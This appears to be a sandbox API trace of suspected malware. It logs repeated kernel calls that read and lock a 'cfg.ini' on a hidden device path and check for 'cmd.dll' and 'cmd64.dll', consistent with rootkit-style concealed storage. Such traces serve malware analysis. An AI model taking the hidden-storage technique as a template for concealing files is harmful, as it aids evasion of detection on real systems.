[0117.342] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0117.342] IdePortDispatch () returned 0x103 [0117.342] KeWaitForMutexObject () returned 0x0 [0117.342] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.342] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.342] KeLeaveCriticalRegion () [0117.342] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.342] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.342] KeEnterCriticalRegion () [0117.342] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.342] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c8c000 [0117.342] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.342] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.342] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.342] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0117.342] IdePortDispatch () returned 0x103 [0117.342] KeWaitForMutexObject () returned 0x0 [0117.342] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.342] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.342] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.342] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.342] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0117.342] IdePortDispatch () returned 0x103 [0117.342] KeWaitForMutexObject () returned 0x0 [0117.343] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.343] KeLeaveCriticalRegion () [0117.343] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.343] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.343] KeEnterCriticalRegion () [0117.343] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.343] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.343] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.343] KeLeaveCriticalRegion () [0117.343] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.343] KeEnterCriticalRegion () [0117.343] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.343] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0117.343] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039ce660, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0117.343] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.343] KeLeaveCriticalRegion () [0117.343] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.343] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.343] KeEnterCriticalRegion () [0117.343] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.343] ExFreePoolWithTag (P=0xfffffa8003b28790, Tag=0x0) [0117.344] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.344] KeLeaveCriticalRegion () [0117.344] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.344] ReleaseMutex (hMutex=0xf0) returned 1 [0117.344] Sleep (dwMilliseconds=0x124f80) [0117.399] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0117.399] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0117.399] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.399] KeEnterCriticalRegion () [0117.399] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.399] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.399] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.399] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.399] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0117.399] IdePortDispatch () returned 0x103 [0117.399] KeWaitForMutexObject () returned 0x0 [0117.400] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.400] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.400] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.400] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0117.400] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0117.400] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039c5170 [0117.400] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.400] KeLeaveCriticalRegion () [0117.400] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.400] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.400] KeEnterCriticalRegion () [0117.400] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.400] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.400] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.400] KeLeaveCriticalRegion () [0117.400] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.400] KeEnterCriticalRegion () [0117.400] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.400] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.400] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.400] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.400] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0117.400] IdePortDispatch () returned 0x103 [0117.400] KeWaitForMutexObject () returned 0x0 [0117.400] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.400] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.400] KeLeaveCriticalRegion () [0117.400] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.400] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.400] KeEnterCriticalRegion () [0117.400] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.400] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c99000 [0117.400] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.400] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.401] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.401] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0117.401] IdePortDispatch () returned 0x103 [0117.401] KeWaitForMutexObject () returned 0x0 [0117.401] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.401] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.401] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.401] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.401] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0117.401] IdePortDispatch () returned 0x103 [0117.401] KeWaitForMutexObject () returned 0x0 [0117.401] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.401] KeLeaveCriticalRegion () [0117.401] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.402] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.402] KeEnterCriticalRegion () [0117.402] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.402] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.402] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.402] KeLeaveCriticalRegion () [0117.402] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.402] KeEnterCriticalRegion () [0117.402] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.402] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0117.402] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa800381bf20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0117.402] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.402] KeLeaveCriticalRegion () [0117.402] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.402] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.402] KeEnterCriticalRegion () [0117.402] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.402] ExFreePoolWithTag (P=0xfffffa80039c5170, Tag=0x0) [0117.402] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.402] KeLeaveCriticalRegion () [0117.402] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.402] ReleaseMutex (hMutex=0xf0) returned 1 [0117.402] Sleep (dwMilliseconds=0x124f80) [0117.418] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0117.418] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0117.418] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.418] KeEnterCriticalRegion () [0117.418] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.418] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.418] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.418] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.419] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0117.419] IdePortDispatch () returned 0x103 [0117.419] KeWaitForMutexObject () returned 0x0 [0117.419] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.419] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.419] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.419] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0117.419] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0117.419] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039d9fb0 [0117.419] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.419] KeLeaveCriticalRegion () [0117.419] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.419] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.419] KeEnterCriticalRegion () [0117.419] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.419] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.419] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.419] KeLeaveCriticalRegion () [0117.419] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.419] KeEnterCriticalRegion () [0117.419] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.419] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.419] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.419] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.419] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0117.419] IdePortDispatch () returned 0x103 [0117.419] KeWaitForMutexObject () returned 0x0 [0117.419] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.419] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.419] KeLeaveCriticalRegion () [0117.419] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.420] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.420] KeEnterCriticalRegion () [0117.420] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.420] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c9e000 [0117.420] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.420] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.420] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.420] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0117.420] IdePortDispatch () returned 0x103 [0117.420] KeWaitForMutexObject () returned 0x0 [0117.420] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.420] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.420] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.420] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.420] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0117.420] IdePortDispatch () returned 0x103 [0117.420] KeWaitForMutexObject () returned 0x0 [0117.420] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.420] KeLeaveCriticalRegion () [0117.420] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.421] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.421] KeEnterCriticalRegion () [0117.421] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.421] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.421] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.421] KeLeaveCriticalRegion () [0117.421] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.421] KeEnterCriticalRegion () [0117.421] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.421] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0117.421] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d9070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0117.421] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.421] KeLeaveCriticalRegion () [0117.421] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.421] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.421] KeEnterCriticalRegion () [0117.421] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.421] ExFreePoolWithTag (P=0xfffffa80039d9fb0, Tag=0x0) [0117.421] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.421] KeLeaveCriticalRegion () [0117.421] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.421] ReleaseMutex (hMutex=0xf0) returned 1 [0117.421] Sleep (dwMilliseconds=0x124f80) [0117.437] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0117.437] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0117.438] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.438] KeEnterCriticalRegion () [0117.438] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.438] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.438] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.438] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.438] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0117.438] IdePortDispatch () returned 0x103 [0117.438] KeWaitForMutexObject () returned 0x0 [0117.438] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.438] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.438] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.438] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0117.438] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0117.438] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039d9970 [0117.438] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.438] KeLeaveCriticalRegion () [0117.438] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.438] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.438] KeEnterCriticalRegion () [0117.438] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.438] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.438] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.438] KeLeaveCriticalRegion () [0117.438] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.438] KeEnterCriticalRegion () [0117.438] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.438] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.438] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.438] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.438] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0117.438] IdePortDispatch () returned 0x103 [0117.438] KeWaitForMutexObject () returned 0x0 [0117.439] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.439] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.439] KeLeaveCriticalRegion () [0117.439] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.439] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.439] KeEnterCriticalRegion () [0117.439] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.439] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002ca6000 [0117.439] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.439] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.439] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.439] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0117.439] IdePortDispatch () returned 0x103 [0117.439] KeWaitForMutexObject () returned 0x0 [0117.439] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.439] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.439] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.439] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.439] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0117.439] IdePortDispatch () returned 0x103 [0117.439] KeWaitForMutexObject () returned 0x0 [0117.439] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.439] KeLeaveCriticalRegion () [0117.439] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.440] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.440] KeEnterCriticalRegion () [0117.440] ExAcquireFastMutexUnsafe (in: 